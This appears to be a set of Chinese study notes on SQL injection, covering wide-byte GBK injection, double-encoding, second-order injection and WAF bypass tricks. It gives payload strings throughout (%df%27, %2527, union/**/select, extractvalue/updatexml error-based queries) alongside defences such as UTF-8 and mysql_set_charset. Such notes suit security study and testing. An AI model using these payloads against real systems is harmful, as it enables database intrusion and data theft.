一、宽字节注入
1、什么是宽字节
GB2312、GBK、GB18030、BIG5等这些都是常说的宽字节,实际为两字节
2、宽字节注入原理
防御:将 ' 转换为 \'
绕过:将 \ 消灭
mysql在使用GBK编码的时候,会认为两个字符为一个汉字
\ 编码为 %5c
' 编码为%27
%df%5c mysql会认为是一个汉字
构造:
%df' %df\' %df%5c%27 其中%df%5c将成为一个汉字专为 汉字' 从而绕过了/的转义
注:前一个ascii码大于128才能到汉字的范围
注入方法:在注入点后键入%df,然后按照正常的注入流程开始注入
工具注入方法:
在注入点后面手动添加%df即可 (没成功。。。)
白盒测试:
1、查看mysql编码是否为GBK
2、是否使用preg_replace把单引号替换成 \'
3、是否使用addslashes进行转义
4、是否使用mysql_real_escape_string进行转义
宽字节防御
1、使用UTF-8,避免宽字节
不仅GBK、韩文、日文等等都是宽字节,都有可能存在诸如漏洞
2、mysql_real_escape_string, mysql_set_charset('gbk',$conn);
3、可以设置参数, character_set_client=binary
二、二次编码注入
在url中可能出现一些特殊字符,如= & ; +
为了避免冲突,需要转移
index.php?id=1&name=admin&pwd=123
mysql会对url提交的编码进行自动转换
例如:url中的%3d,mysql会自动转为=
宽字节和二次编码注入:
是在面对php代码或配置,对输入的'(单引号)进行转义的时候,在处理用户输入数据时存在问题,可以绕过转义
二次编码注入是由于两次编码转义冲突导致出现的注入点
注入方法:在注入点后键入%2527,然后按照正常的注入流程开始注入
白盒测试
1、是否使用urldecode函数
2、urldecode函数是否在转义方法之后
三、二次注入
第一步, 插入恶意数据
保留了原来的数据,插入到数据库
第二步,引用恶意数据
在将数据存入到了数据库中之后,开发者未经验证,直接引用
例如修改密码
输入admin'#
在修改密码过程中,将会修改admin的密码
select concat_ws(0x7e,username,password) from security
四、Waf绕过原理分析
sql注入是***测试与waf防御最激烈的战场
1、白盒绕过
1)大小写变形
2)等价替换:and -> &&, or -> ||
3)。。。
2、黑盒绕过
一、架构层绕过
1) 寻找源站
2)利用同网段
3)利用边界漏洞
二、资源限制角度绕过
1、POST大BODY
三、协议层面绕过WAF的检测
1、协议未覆盖绕过WAF
*请求方式变换 get -> post
*content-type变换
2、参数污染
index.php?id=1&id=2
id=1
id=2
waf可能只检测id=1
四、规则层面的绕过
1、sql注释符绕过
level-1 union/**/select
level-2 union/*ajlsjdlf*/select
2 空白符绕过
mysql空白符:%09,%0A。。。
正则空白符: %09,%0A
example-1:union%250Cselect
3函数分分割符号
在函数和数据中间引入一些内容
concat%2520(
concat/**/(
concat%250c(
4 浮点数词法解析
select * from users where id=8E0union select 1,2,3,4
5 利用error-based进行sql注入:error-based sql注入函数非常容易被忽略
extractvalue(1, concat(0x5c,md5(3)));
updatexml(1,concat(0x5d,md5(3)),1);
6 mysql特殊语法
select{x table_name}from{x information_schema.tables};
五、Fuzz绕过waf
1、注释符绕过
*先测试最基本的: union/**/select
*再测试中间引入特殊字:union/*aaaa%01bbs*/select
*最后测试注释长度:union/*aaaaaaaaaaaaaaaa*/select
最基本的模式
union/*something*/select
将空格替换为/*sldfj$%^&*/
特殊函数 xx() 替换为 xx/*sldfj$%^&*/()
六、SQLmap waf绕过脚本编写